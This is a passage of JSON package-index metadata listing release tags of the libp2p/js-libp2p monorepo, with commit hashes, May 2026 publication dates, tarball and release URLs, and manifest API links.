":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.26/manifests"},{"name":"webtransport-v6.0.25","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.25/manifests"},{"name":"websockets-v10.1.13","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.13/manifests"},{"name":"webrtc-v6.0.23","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.23/manifests"},{"name":"utils-v7.2.1","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.2.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.2.1/manifests"},{"name":"upnp-nat-v4.0.20","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.20/manifests"},{"name":"transport-interop-libp2p-main-v1.0.26","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.26/manifests"},{"name":"tls-v3.1.2","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.2/manifests"},{"name":"tcp-v11.0.20","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.20/manifests"},{"name":"prometheus-metrics-v5.0.21","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.21/manifests"},{"name":"pnet-v3.0.21","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.21/manifests"},{"name":"plaintext-v3.0.20","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.20/manifests"},{"name":"ping-v3.1.5","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.5/manifests"},{"name":"perf-v5.1.5","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.5/manifests"},{"name":"peer-store-v12.0.20","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.20/manifests"},{"name":"peer-collections-v7.0.20","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.20/manifests"},{"name":"opentelemetry-metrics-v2.0.21","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.21/manifests"},{"name":"multistream-select-v7.0.20","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.20/manifests"},{"name":"mplex-v12.0.22","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.22/manifests"},{"name":"memory-v2.0.20","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.20/manifests"},{"name":"mdns-v12.0.22","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.22/manifests"},{"name":"libp2p-v3.3.1","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.3.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.1/manifests"},{"name":"kad-dht-v16.2.7","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.2.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.2.7/manifests"},{"name":"interop-v14.0.25","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.25/manifests"},{"name":"interface-internal-v3.1.5","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.5/manifests"},{"name":"interface-compliance-tests-v7.0.22","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.22/manifests"},{"name":"integration-tests-v1.2.9","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.9/manifests"},{"name":"identify-v4.1.6","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.6/manifests"},{"name":"gossipsub-v15.0.23","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v15.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v15.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v15.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.23/manifests"},{"name":"floodsub-v11.0.21","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.21/manifests"},{"name":"fetch-v4.1.5","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.5/manifests"},{"name":"echo-v3.1.5","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.5/manifests"},{"name":"dcutr-v3.0.20","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.20/manifests"},{"name":"daemon-v6.0.25","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.25/manifests"},{"name":"daemon-server-v9.0.25","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.25/manifests"},{"name":"daemon-client-v10.0.25","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.25/manifests"},{"name":"circuit-relay-v2-v4.2.5","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.5/manifests"},{"name":"bootstrap-v12.0.22","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.22/manifests"},{"name":"autonat-v3.0.20","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.20/manifests"},{"name":"autonat-v2-v2.0.20","sha":"704b0e615288682caf80841c7a91c86bab32bdad","kind":"commit","published_at":"2026-05-16T01:48:32.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.20/manifests"},{"name":"webtransport-v6.0.24","sha":"94f875c3fd1269e21c13cd364ca56b35fc8c72bf","kind":"commit","published_at":"2026-05-13T00:19:12.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.24/manifests"},{"name":"transport-interop-libp2p-main-v1.0.25","sha":"94f875c3fd1269e21c13cd364ca56b35fc8c72bf","kind":"commit","published_at":"2026-05-13T00:19:12.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-lib